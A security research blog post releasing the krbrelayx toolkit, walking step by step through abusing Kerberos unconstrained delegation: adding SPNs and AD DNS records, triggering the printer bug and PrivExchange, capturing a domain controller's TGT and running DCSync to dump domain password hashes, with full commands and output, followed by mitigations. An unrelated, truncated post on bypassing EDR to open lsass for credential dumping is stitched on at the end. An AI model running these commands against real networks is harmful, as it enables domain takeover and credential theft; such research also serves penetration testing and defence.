Before we start off, let’s clear up a possible confusion: no, you cannot actually relay Kerberos authentication in the way you can relay NTLM authentication. The reason the tool I’m releasing is called krbrelayx is because it works in a way similar to impackets ntlmrelayx (and shares quite some parts of the code). Kerberos tickets are partially encrypted with a key based on the password of the service a user is authenticating to, so sending this on to a different service is pointless as they won’t be able to decrypt the ticket (and thus we can’t authenticate). So what does this tool actually do? When Windows authenticates to service- or computeraccounts that have unconstrained delegation enabled, some interesting stuff happens (which I’ll explained later on) and those accounts end up with a usable TGT. If we (as an attacker) are the ones in control of this account, this TGT can then be used to authenticate to other services. Krbrelayx performs this in a similar way to when you are relaying with ntlmrelayx (with automatic dumping of passwords, obtaining DA privileges, or performing ACL based attacks), hence the similar naming. If you first want to read about what unconstrained delegation is on a high level, I recommend Sean Metcalf’s blog about it.

Attack requirements

To perform this unconstrained delegation attack, we already need to have a couple of requirements:

  1. Control over an account with unconstrained delegation privileges
  2. Permissions to modify the servicePrincipalName attribute of that account (optional)
  3. Permissions to add/modify DNS records (optional)
  4. A way to connect victim users/computers to us

Unconstrained delegation account

The first thing we need is an account that has unconstrained delegation privileges. This means an account that has the 

TRUSTED_FOR_DELEGATION
 UserAccountControl flag set. This can be on either a user account or a computer account. Any user in AD can query those accounts, using for example PowerView:


$Computers = Get-DomainComputer -Unconstrained
$Users = Get-DomainUser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Or the ActiveDirectory Powershell module:


$computers = get-adcomputer -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
$user = get-aduser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Or they can be extracted using one of my own tools, ldapdomaindump, which will report users/computers that have this privilege with the 

TRUSTED_FOR_DELEGATION
 flag:


grep TRUSTED_FOR_DELEGATION domain_computers.grep
grep TRUSTED_FOR_DELEGATION domain_users.grep

Once we compromised an account, which means we have obtained the account password or Kerberos keys, we can decrypt Kerberos service tickets used by users authenticating to the service associated with the compromised account. Previous ways to abuse unconstrained delegation involve dumping the cached tickets from LSASS using for example Mimikatz or Rubeus, but this requires executing code on a compromised host. In this blog we’ll avoid doing that, and instead do the whole thing over the network from a host we fully control without having to worry about endpoint detection or crashing production servers by dumping processes (though this doesn’t apply to Rubeus since it uses native APIs).

For user accounts, passwords can be obtained the typical way, by Kerberoasting, cracking NTLMv1/NTLMv2 authentication, simply guessing weak passwords or dumping them from memory on compromised hosts. Computer accounts are harder to obtain since they do by default have very strong randomly generated passwords and their password/keys only reside on the host the account belongs to (or on the DC). When we have Administrator rights on the associated host, it becomes relatively easy since the computer account password is stored in the registry and thus can be obtained via the network with secretsdump.py, or by dumping the secrets with mimikatz 

lsadump::secrets
. Both also support dumping secrets from offline registry hives.

To calculate the Kerberos keys from plaintext passwords, we also need to specify the salt. If you’re familiar with Kerberos, you’ll know that there are different encryption algorithms used. The weakest cipher supported by modern AD installs uses RC4, with a key based on the NTLM hash of the user (not including any salt). The AES-128 and AES-256 ciphers that Windows will pick by default however do include a salt, which we will need to include in the key calculation. The salt to calculate these keys is as follows:

  • For user accounts, it is the uppercase Kerberos realm name + case sensitive username
  • For computer accounts, it is the uppercase realm name + the word host + full lowercase hostname

The Kerberos realm name is the fully qualified domain name (FQDN) of the domain (so not the NETBIOS name!), the full hostname is also the FQDN of the host, not just the machine name, and does not include an $. The username used as salt for user accounts is the case-sensitive SAMAccountName (so if the user is called 

awEsOmEusER1
 then 
awesomeuser1
 will not generate the correct key).

For computer accounts, I’ve added functionality to 

secretsdump.py
 which will automatically dump the machine Kerberos keys if you run it against a host (you will need at least impacket 
0.9.18
 or run the latest development version from git). If it can’t figure out the correct salt for some reason you can specify this yourself to krbrelayx.py with the 
--krbpass
 or 
--krbhexpass
 (for hex encoded binary computer account passwords) and 
--krbsalt
 parameters. As a sidenote, this took me way longer than expected to implement since computer accounts passwords are random binary in UTF-16-LE, but Kerberos uses UTF-8 input for key deriviation. The UTF-16 bytes are however not valid unicode, which makes Python not too happy when you try to convert this to UTF-8. It took me a while to figure out that Microsoft implementations actually implicitly replace all invalid unicode characters when performing the conversion to UTF-8 for Kerberos keys. After telling python to do the same the keys started matching with those on my DC ¯\_(ツ)_/¯.

Control over ServicePrincipalName attribute of the unconstrained delegation account

After having obtained the Kerberos keys of the compromised account we can decrypt the tickets, but we haven’t discussed yet how to actually get hosts to authenticate to us using Kerberos. When a user or computer wants to authenticate with Kerberos to the host 

somehost.corp.com
 over SMB, Windows will send a request for a service ticket to the Domain Controller. This request will include the Service Principal Name (SPN), made up from the protocol and the host which the service is on. In this example this would be 
cifs/somehost.corp.com
. The Domain Controller performs a lookup in the directory which account (if any) has this ServicePrincipalName assigned, and then uses the Kerberos keys associated with that account to encrypt the service ticket (I’m skipping on the technical details for now, you can find those in a later paragraph).

To make sure that victims authenticate to the account with unconstrained delegation and that we can decrypt the tickets, we need to make sure to send their traffic to a hostname of which the SPN is associated with the account we are impersonating. If we have the hostname 

attacker.corp.com
 and that SPN is not registered to the right account, the attack won’t work. The easiest way to do this is if we have control over an account that has privileges to edit attributes of the computer- or useraccount that we compromised, in which case we can just add the SPN to that account using the addspn.py utility that is included with krbrelayx:


user@localhost:~/adtools$ python addspn.py -u testsegment\\backupadmin -s host/testme.testsegment.local -t w10-outlook.testsegment.local ldap://s2016dc.testsegment.local
Password:
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

If we don’t have those privileges, it is a bit more complicated, and for user accounts I haven’t found a way to modify the SPNs without having those rights assigned. Computer accounts can by default add their own SPNs via the “Validated write to servicePrincipalName” right, but they can only write SPNs that match their full hostname or SAMAccountName. This would seem like a dead end, but there is a way around this! There is an additional validated write right, which allows computers to update their own 

msDS-AdditionalDnsHostName
 property, which got introduced in Server 2012 and contains additional hostnames for a computer object. According to the documentation, this validated write allows us to add any hostname which has the FQDN of the domain that we are in as a suffix, as long as we have the 
Validated-MS-DS-Additional-DNS-Host-Name
 validated write right. This right is not assigned by default:

SELF rights for computer objects

While playing with this property however, it turned out that the 

Validated-MS-DS-Additional-DNS-Host-Name
validated write right isn’t actually needed to update the 
msDS-AdditionalDnsHostName
 property. The “Validated write to DNS host name”, which is enabled for computer objects by default, does also allow us to write to the 
msDS-AdditionalDnsHostName
 property, and allows us to assign any hostname within the current domain to the computer object, for which SPNs will then automatically be added. With this trick it is possible to add an SPN to our account that we can point to a hostname that is under the control of an attacker:


user@localhost:~/adtools$ python addspn.py -u testsegment\\w10-outlook\$ -p aad3b435b51404eeaad3b435b51404ee:7a99efdea0e03b94db2e54c85911af47 -s testme.testsegment.local s2016dc.testsegment.local
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
user@localhost:~/adtools$ python addspn.py -u testsegment\\w10-outlook\$ -p aad3b435b51404eeaad3b435b51404ee:7a99efdea0e03b94db2e54c85911af47 s2016dc.testsegment.local -q
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
DN: CN=W10-OUTLOOK,CN=Computers,DC=testsegment,DC=local - STATUS: Read - READ TIME: 2018-11-18T20:44:33.730958
    dNSHostName: W10-OUTLOOK.testsegment.local
    msDS-AdditionalDnsHostName: TESTME$
                                testme.testsegment.local
    sAMAccountName: W10-OUTLOOK$
    servicePrincipalName: TERMSRV/TESTME
                          TERMSRV/testme.testsegment.local
                          WSMAN/TESTME
                          WSMAN/testme.testsegment.local

If for whatever reason we can’t modify the SPN to a hostname under the attackers control, we can always hijack the current SPN by modifying the DNS record or using your favorite spoofing/mitm attack, though this will break connectivity to the host, which I wouldn’t recommend in production environments.

Permissions to add/modify DNS records

After adding a new SPN that points to a hostname not in use on the network, we of course need to make sure the hostname we added resolves to our own IP. If the network you are in uses Active Directory-Integrated DNS, this should be straighforward. As Kevin Robertson described in his blog about ADIDNS, by default any authenticated user can create new DNS records, as long as there is no record yet for the hostname. So after we add the SPN for 

attacker.corp.com
 to our unconstrained delegation account, we can add a record for this hostname that points to our IP using for example PowerMad (different hostname used as example):

powermad

I also added a tool to the krbrelayx repo that can perform DNS modifications (

dnstool.py
) in AD over LDAP:


user@localhost:~/adtools$ python dnsparse.py -u icorp\\testuser icorp-dc.internal.corp -r attacker -a add -d 10.1.1.2
Password:
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Afterwards we can see the record exists in DNS:


user@localhost:~/adtools$ python dnsparse.py -u icorp\\testuser icorp-dc.internal.corp -r attacker -a query
Password:
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found record attacker
DC=attacker,DC=internal.corp,CN=MicrosoftDNS,DC=DomainDnsZones,DC=internal,DC=corp
[+] Record entry:
 - Type: 1 (A) (Serial: 36)
 - Address: 10.1.1.2

And the record resolves after the DNS server refreshes the records from LDAP (which by default takes place every 180 seconds):


user@localhost:~/adtools$ nslookup attacker.internal.corp 192.168.111.2
Server:     192.168.111.2
Address:    192.168.111.2#53

Name:   attacker.internal.corp
Address: 10.1.1.2

The 

dnstool.py
 utility has several other options, including one to remove records again after exploitation, which I won’t go into in this post, but you can get the tool on GitHub. If modifying DNS does not work or the network you are in does not use AD for DNS, it is always possible to perform network attacks to take over the DNS server, though this often requires you to be in the same VLAN as the system. A way which should always work is modifying the compromised computers own DNS record, but this is almost a guarantee to break stuff and might take a while to propagate because of DNS caching.

Obtaining traffic

There are a multitude of ways now to obtain traffic from users to the attackers host. Any technique on the internet discussing NTLM authentication gathering techniques will work for getting users to authenticate to your rogue SMB or HTTP server. Some options are:

  • Phishing sites with a UNC path or redirect
  • Using responderInveigh or metasploit to reply to LLMNR/NBNS requests
  • Using mitm6 for DNS hijacking
  • Placing files with an icon linking to a UNC path on a popular file share within the network
  • Etc

Two very effective to obtain Domain Admin (equivalent) privileges via unconstrained delegation at the point of writing of this blog is to abuse bugs that require only regular user credentials to make a high value target connect to you. At this point, two important example are known:

  • SpoolService bug: There is a Remote Procedure Call part of the MS-RPRN protocol which causes remote computers to authenticate to arbitrary hosts via SMB. This was discovered by Lee Christensen aka @tifkin_ and called the “printer bug”. Harmj0y recently did a writeup on abusing this bug as well to perform unconstrained delegation attacks over forest trusts in his blog. The MS-RPRN protocol was also implemented in impacket by @agsolino, and of course I couldn’t resist writing a small utility for it as part of the krbrelayx toolkit, called 
    printerbug.py
    , which triggers the backconnect.
  • PrivExchange: The Exchange Web Services (EWS) SOAP API exposes a method that subscribes to push notifications. This method can be called by any user with a mailbox and will make Exchange connect to any host we specify via HTTP. When requested, Exchange will (unless it is patched with the latest CU) authenticate with the computer account of the system Exchange is running on. This computer account has high privileges in the domain by default. I wrote about this in my previous blogand the 
    privexchange.py
     tool is available here. Apart from NTLM relaying this authentication to LDAP, we can also use unconstrained delegation to obtain Exchange’s TGT and use that to perform an ACL based privilege escalation.

Use case 1: Gaining DC Sync privileges using a computer account and the SpoolService bug

In the first case we will abuse the unconstrained delegation privileges of a computer account in my 

internal.corp
 lab domain. We have obtained administrative privileges on this host by compromising the user 
testuser
, which is a member of the Administrators group on this host. We will follow the steps outlined above, and first obtain the Kerberos keys and NTLM hashes:


user@localhost:~$ secretsdump.py testuser@icorp-w10.internal.corp
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

Password:
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x38f3153a77837cf2c5d04b049727a771
...cut...
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
ICORP\ICORP-W10$:aes256-cts-hmac-sha1-96:9ff86898afa70f5f7b9f2bf16320cb38edb2639409e1bc441ac417fac1fed5ab
ICORP\ICORP-W10$:aes128-cts-hmac-sha1-96:a6e34ed07f7bffba151fedee4d6640fd
ICORP\ICORP-W10$:des-cbc-md5:91abd073c7a8e534
ICORP\ICORP-W10$:aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6:::

Now we add the SPN. We use the NTLM hash that we just dumped to authenticate as the machine account, which can modify it’s own SPN, but only via the 

msDS-AdditionalDnsHostName
 property as discussed earlier. We will use the 
addspn.py
 utility to add the SPN 
HOST/attacker.internal.corp
 to the computer account (which is used for SMB).


user@localhost:~/krbrelayx$ python addspn.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -s HOST/attacker.internal.corp -q icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
DN: CN=ICORP-W10,CN=Computers,DC=internal,DC=corp - STATUS: Read - READ TIME: 2019-01-09T21:55:23.923810
    dNSHostName: ICORP-W10.internal.corp
    sAMAccountName: ICORP-W10$
    servicePrincipalName: RestrictedKrbHost/ICORP-W10
                          HOST/ICORP-W10
                          RestrictedKrbHost/ICORP-W10.internal.corp
                          HOST/ICORP-W10.internal.corp

user@localhost:~/krbrelayx$ python addspn.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -s HOST/attacker.internal.corp icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[!] Could not modify object, the server reports a constrained violation
[!] You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs matching the hostname)
[!] To add any SPN in the current domain, use --additional to add the SPN via the msDS-AdditionalDnsHostName attribute
user@localhost:~/krbrelayx$ python addspn.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -s HOST/attacker.internal.corp icorp-dc.internal.corp --additional
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

The SPN for 

attacker.internal.corp
 now exists on the victim account, but the DNS entry for it does not yet exist. We use the 
dnstool.py
 utility to add the record, pointing to the attacker IP:


user@localhost:~/krbrelayx$ python dnstool.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -r attacker.internal.corp -d 192.168.111.87 --action add icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
user@localhost:~/krbrelayx$ nslookup attacker.internal.corp 192.168.111.2
Server:     192.168.111.2
Address:    192.168.111.2#53

Name:   attacker.internal.corp
Address: 192.168.111.87

Now we get the Domain Controller to authenticate to us via the printer bug, while we start krbrelayx in export mode, in which all extracted TGTs will be saved to disk. We provide the AES256 key to krbrelayx, since this key will be used by default for computer accounts.


user@localhost:~/krbrelayx$ python printerbug.py -hashes aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 internal.corp/icorp-w10\$@icorp-dc.internal.corp attacker.internal.corp
[*] Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

[*] Attempting to trigger authentication via rprn RPC at icorp-dc.internal.corp
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Triggered RPC backconnect, this may or may not have worked

krbrelayx on a different screen:


user@localhost:~/krbrelayx$ sudo python krbrelayx.py -aesKey 9ff86898afa70f5f7b9f2bf16320cb38edb2639409e1bc441ac417fac1fed5ab
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk)
[*] Setting up SMB Server

[*] Setting up HTTP Server
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.111.2
[*] Got ticket for ICORP-DC$@INTERNAL.CORP [krbtgt@INTERNAL.CORP]
[*] Saving ticket in ICORP-DC$@INTERNAL.CORP_krbtgt@INTERNAL.CORP.ccache
[*] SMBD: Received connection from 192.168.111.2

This gives us a TGT of the domain controller account, which has DC Sync privileges in the domain, meaning we can extract the hashes of all the accounts in the directory.


user@localhost:~/krbrelayx$ export KRB5CCNAME=ICORP-DC\$@INTERNAL.CORP_krbtgt@INTERNAL.CORP.ccache
user@localhost:~/krbrelayx$ secretsdump.py -k icorp-dc.internal.corp -just-dc
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a39494027fd39934e08a713c999e8cf3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:33168b759a89c059815d7aea5c27a3d9:::
...etc...

Use case 2: Abusing a service account and PrivExchange

The previous use case used a computer account and an SMB connection to obtain the TGT of a DC. While the above described method is the only way to perform this attack without executing code on the compromised host (all data is obtained via RPC calls, and the DC only connects to the attacker machine), usually it would be easier to trigger an SMB connection to the compromised host, dump LSASS memory and/or use Mimikatz or Rubeus to extract the TGTs from memory. This would not require modifying DNS records and SPNs. In the next case we will be using a user account (that is used as a service account) instead of a computer account. This is more complex or even impossible to exploit without modifying information in AD. If the user account is for example used for an MSSQL service, it would only be possible to extract the TGT from LSASS if we could somehow convince a victim to connect to the MSSQL service and also have Administrative access to the server to run the code that extracts the tickets from memory. By adding an extra SPN to the user account we can use existing tools such as the SpoolService bug or PrivExchange to exploit this via HTTP or SMB, without the need to touch the host on which this service is running at all.

This requires two things:

  • The password of the service account
  • Delegated control over the service account object

The password for the service account could have been previously obtained using a Kerberoast or password spraying attack. Delegated control over the account is required to add an SPN to the account, this control could be present because the service account is part of an Organisational Unit over which control was delegated to a sysadmin, or because we compromised an account in a high privilege group, such as Account Operators.

In this scenario we have control over a 

helpdesk
 user, which has been delegated the rights to manage users in the 
Service Accounts
 OU. We also discovered that the service account 
sqlserv
 has the weak password 
Internal01
 set. This service account only has an SPN for the MSSQL service running on 
database.internal.corp
. Since we want to escalate privileges via Exchange with PrivExchange, which connects over HTTP, we add a new SPN using this account for 
http/evil.internal.corp
:


user@localhost:~/krbrelayx$ python addspn.py -u icorp\\helpdesk -p Welkom01 -t sqlserv -s http/evil.internal.corp -q icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
DN: CN=sqlserv,OU=Service Accounts,DC=internal,DC=corp - STATUS: Read - READ TIME: 2019-01-27T15:26:16.580450
    sAMAccountName: sqlserv
    servicePrincipalName: MSSQL/database.internal.corp
user@localhost:~/krbrelayx$ python addspn.py -u icorp\\helpdesk -p Welkom01 -t sqlserv -s http/evil.internal.corp icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

As with the previous attack we add a DNS record to point to our attackers IP:


user@localhost:~/krbrelayx$ python dnstool.py -u icorp\\helpdesk -p Welkom01 -r evil.internal.corp -d 192.168.111.87 --action add icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Now we can start krbrelayx.py. Since we are working with a user account, by default tickets will be encrypted with RC4, so we need to calculate the NTLM hash of the password in order to decrypt them (we don’t need to bother with a Kerberos salt here because RC4 doesn’t use one).


import hashlib
print(hashlib.new('md4', 'Internal01'.encode('utf-16le')).hexdigest())

This hash we can pass to krbrelayx.py and we can start the server. This time instead of exporting the ticket we use it directly to connect to LDAP and grant our helpdesk user DCSync privileges using the 

-t ldap://icorp-dc.internal.corp
 flag. We run 
privexchange.py
 and 
krbrelayx.py
 at the same time:


user@localhost:~/privexchange$ python privexchange.py -u helpdesk -p Welkom01 -ah evil.internal.corp exchange.internal.corp -d internal.corp
INFO: Using attacker URL: http://evil.internal.corp/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful

And see the attack doing it’s work in a very similar way to ntlmrelayx:


user@localhost:~/krbrelayx$ sudo python krbrelayx.py -hashes aad3b435b51404eeaad3b435b51404ee:d3026ba6ef6215da295175934b3d0e09 -t ldap://icorp-dc.internal.corp --escalate-user helpdesk
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMB loaded..
[*] Running in attack mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 192.168.111.56, prompting for authentication
[*] HTTPD: Client requested path: /privexchange/
[*] HTTPD: Received connection from 192.168.111.56, prompting for authentication
[*] HTTPD: Client requested path: /privexchange/
[*] Got ticket for EXCHANGE$@INTERNAL.CORP [krbtgt@INTERNAL.CORP]
[*] Saving ticket in EXCHANGE$@INTERNAL.CORP_krbtgt@INTERNAL.CORP.ccache
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] User privileges found: Create user
[*] User privileges found: Modifying domain ACL
[*] Querying domain security descriptor
[*] Success! User helpdesk now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
[*] Saved restore state to aclpwn-20190210-132437.restore

The advantage (for an attacker) of this is that this uses Kerberos functionality instead of NTLM relaying, and thus mitigations against NTLM relaying do not apply (but it does require much higher privileges to perform). We could also have avoided calculating the Kerberos hashes manually and specified those on the commandline with the correct salt, which makes krbrelayx calculate all the keys by itself:


python krbrelayx.py --krbpass Internal01 --krbsalt INTERNAL.CORPsqlserv -t ldap://icorp-dc.internal.corp --escalate-user helpdesk

Technical details — Unconstrained delegation flow

The previous paragraphs show us how we can abuse unconstrained delegatation, but we haven’t yet touched on how it all works under the hood. Let’s have a look at how a Windows 10 client uses Kerberos with unconstrained delegation. Some write-ups mention that whenever the Windows 10 client requests a service ticket to a host with unconstrained delegation, this ticket automatically includes a delegated version of a TGT. This is not how it actually works. Let’s look at what happens over the wire when a host authenticates to our attacker service.

When our user (testuser) logs in on the workstation, a TGT is requested from the DC (the KDC in this case). This is visible via two AS-REQs, the initial one which requests the TGT without any kind of information, and a second one in which preauthentication information is included.

Kerberos TGT request

In the reply to the first AS-REQ, we see that the server replies with the correct salt that should be used in case of AES key deriviation from the password:

Kerberos salt information

Now we make the client connect to our malicious SMB server hosted using krbrelayx. In the traffic we see two requests for a service ticket (TGS-REQ), and after some SMB traffic in which the Kerberos authentication is performed.

Kerberos TGS requests

Let’s take a closer look at these TGS requests. The first one is as expected, a service ticket is requested for the 

cifs/attacker.internal.corp
 SPN which we added to our account previously.

Kerberos request for service ticket

The second one however is interesting. This time the server requests a service ticket not for the service it is connecting to, but for the 

krbtgt/internal.corp
 SPN. This is similar to an AS-REQ request, in which this SPN is also used, but now it’s used in a TGS-REQ structure using the TGT with an authenticator. The second interesting part are the flags, especially the 
forwarded
 flag. This flag is used to request a TGT which can be used for delegation and will later be sent to the attacker’s rogue service.

Kerberos request for delegation ticket

How does Windows know whether it should request a forwarded TGT and send this to a server when authenticating? The encrypted ticket part has a ‘flags’ field, in which the ticket options are specified. RFC4120 defines an OK-AS-DELEGATE flag, which specifies that the target server is trusted for unconstrained delegation. Some changes made to getST.py from impacket show us that this flag is indeed set, it is easier however to just list the tickets in Windows with 

klist
:

Service ticket with ok-as-delegate flag set

This command also shows us the 

forwarded
 TGT that will be sent to the attacker:

TGT with forwarded flag set

The attackers view

From the attackers perspective, we have set up 

krbrelayx
 and it is listening on port 445 and 80 to accept SMB and HTTP connections. When the victim connects to us (for which examples to trigger this are given above), they will authenticate with Kerberos if we request this. Unlike with NTLM authentication, which requires multiple messages back and forth, a client will directly send their Kerberos ticket upon authenticating. In both SMB and HTTP the GSS-API and SPNEGO protocols are used to wrap Kerberos authentication.

Whoever designed these protocols thought it would be a great idea to not only use ASN.1, but to mix ASN.1 with some custom binary constants in one structure (and to let part of that structure depend on the constant). This makes it pretty unusable with any standard ASN.1 library. Fortunately I did find some ways to hack around this, which is already an improvement on having to write your own ASN.1 parser.

Whywouldyoudothis

Once we reliably parsed the structure, we can see the 

AP_REQ
 message containing a Kerberos ticket and an authenticator. These are both important in Kerberos authentication:

  • The ticket is encrypted with the password of “our” service. It contains information that identifies the user who is authenticating, as well as an encrypted session key. This ticket is also used for authorization, since it contains a PAC with the groups the user is a member of.
  • The authenticator is an structure encrypted with the session key. It proves the client is in posession of this key and is used to authenticate the client.

When you see this in Wireshark, it is easy to notice the difference between a regular Kerberos 

AP_REQ
packet and one where a TGT is sent along with it (unconstrained delegation). A regular 
AP_REQ
 packet will contain an encrypted ticket, which is the largest substructure in the 
AP_REQ
 structure. In the case of my test domain, the ticket is 1180 bytes. If unconstrained delegation is used, the largest substructure in the 
AP_REQ
is the authenticator, which contains the delegated TGT from the user. In my domain this is 1832 bytes. An authenticator that doesn’t contain a TGT is usually much smaller, around 400 bytes.

Using the previously calculated Kerberos keys, we decrypt the ticket and get the following structure:


EncTicketPart:
 flags=1084555264
 key=EncryptionKey:
  keytype=23
  keyvalue=0xbd88d929fc420e8b840f3e4bcd9346b6
 crealm=INTERNAL.CORP
 cname=PrincipalName:
  name-type=1
  name-string=SequenceOf:
   testuser
 transited=TransitedEncoding:
  tr-type=1
  contents=
 authtime=20190216190927Z
 starttime=20190216190927Z
 endtime=20190217050927Z
 renew-till=20190223190927Z
 authorization-data=AuthorizationData:
  Sequence:
   ad-type=1
   ad-data=0x308202e230...e8bd0fb67130
  Sequence:
   ad-type=1
   ad-data=0x305d303fa0...6517b0000000000

Contained within are the ticket validity, the username of the ticket, some Authorization Data (which includes the user PAC), and an Encryption key. This Encryption key is the session key, with which we can decrypt the authenticator of the 

AP_REQ
:


Authenticator:
 authenticator-vno=5
 crealm=INTERNAL.CORP
 cname=PrincipalName:
  name-type=1
  name-string=SequenceOf:
   testuser
 cksum=Checksum:
  cksumtype=32771
  checksum=0x100000000...a3997
 cusec=84
 ctime=20190216192428Z
 subkey=EncryptionKey:
  keytype=23
  keyvalue=0x2b340c020be62cbd6284fd2977c5e303
 seq-number=1035294623
 authorization-data=AuthorizationData:
  Sequence:
   ad-type=1
   ad-data=0x3081...005000

Here we see again the user that authenticated, another encryption key (subkey), more authorization data, and a checksum (which I’ve cut short). The checksum is the interesting part. If it’s value is equal to 32771 (or 

0x8003
) it means that it is a KRBv5 checksum, which is a special structure defined in RFC4121 section 4.1.1 (apparently the authors of the RFC were also tired of ASN.1, introducing another custom format for transferring binary data).

Within this checksum field, (if the correct flags are set), we can find a KRB_CRED structure (back to ASN.1!) which contains the delegated TGT.


KRB_CRED:
 pvno=5
 msg-type=22
 tickets=SequenceOf:
  Ticket:
   tkt-vno=5
   realm=INTERNAL.CORP
   sname=PrincipalName:
    name-type=2
    name-string=SequenceOf:
     krbtgt     INTERNAL.CORP
   enc-part=EncryptedData:
    etype=18
    kvno=2
    cipher=0xe70d38ec...c2ec0e
 enc-part=EncryptedData:
  etype=23
  cipher=0xdea2c107a...850ba2a285

There is one more step separating us from obtaining our TGT, which is decrypting the 

enc-part
. This encrypted part of the 
KRB_CRED
 structure contains the ticket information, including the session key associated with the delegated TGT, which we need to request service tickets at the DC. After decryption, the tickets are saved to disk, either in 
ccache
 format, which is used by impacket, or in 
kirbi
 format (which is the name used by Mimikatz for KRB_CRED structured files). The delegated TGT can now be used by other tools to authenticate to any system in the domain.

If this wasn’t detailled enough for you yet, all the steps described in this section are outlined in the kerberos.py file of krbrelayx. If you uncomment the 

print
 statements at various stages you can view the full structures.

Mitigations and detection

The most straightforward mitigation is to avoid using unconstrained delegation wherever possible. Constrained delegation is much safer and while it can be abused as well, constrained delegation only allows for authentication to services which you explicitly specify, making it possible to make a risk analysis for individual services. Unconstrained delegation makes this depend on whichever user connects to the service, which then has their credentials exposed. If running accounts with unconstrained delegation rights cannot be avoided, the following mitigations can be applied:

  • Make sure to guard the systems that have these privileges as sensitive assets from which domain compromise is likely possible.
  • Protect sensitive accounts by enabling the option “Account is sensitive and cannot be delegated” option.
  • Place administrative accounts in the “Protected Users” group, which will prevent their credentials from being delegated.
  • Make sure that administrative accounts perform their actions from up-to-date workstations with Credential Guard enabled, which will prevent credential delegation.

Regarding detection, Roberto Rodriguez from Specterops wrote an article a while back about the exact events involved with unconstrained delegation which allow detection of unconstrained delegation abuse.

Tooling

The tools are available on my GitHub: https://github.com/dirkjanm/krbrelayx Please read the README for install instructions and TODO items/limitations!

Bypass EDR’s memory protection, introduction to hooking

Original text by Hoang Bui

Introduction

On a recent internal penetration engagement, I was faced against an EDR product that I will not name. This product greatly hindered my ability to access lsass’ memory and use our own custom flavor of Mimikatz to dump clear-text credentials.

For those who recommends ProcDump

The Wrong Path

So now, as an ex-malware author — I know that there are a few things you could do as a driver to accomplish this detection and block. The first thing that comes to my mind was Obregistercallback which is commonly used by many Antivirus products. Microsoft implemented this callback due to many antivirus products performing very sketchy winapi hooks that reassemble malware rootkits. However, at the bottom of the msdn page, you will notice a text saying “Available starting with Windows Vista with Service Pack 1 (SP1) and Windows Server 2008.” To give some missing context, I am on a Windows server 2003 at the moment. Therefore, it is missing the necessary function to perform this block.

After spending hours and hours, doing black magic stuff with csrss.exe and attempting to inherit a handle to lsass.exe through csrss.exe, I was successful in gaining a handle with PROCESS_ALL_ACCESS to lsass.exe. This was through abusing csrss to spawn a child process and then inherit the already existing handle to lsass.

There is no EDR solution on this machine, this was just an PoC

However, after thinking “I got this!” and was ready to rejoice in victory over defeating a certain EDR, I was met with a disappointing conclusion. The EDR blocked the shellcode injection into csrss as well as the thread creation through RtlCreateUserThread. However, for some reason — the code while failing to spawn as a child process and inherit the handle, was still somehow able to get the PROCESS_ALL_ACCESS handle to lsass.exe.

WHAT?!

Hold up, let me try just opening a handle to lsass.exe without any fancy stuff with just this line:

HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsasspid);

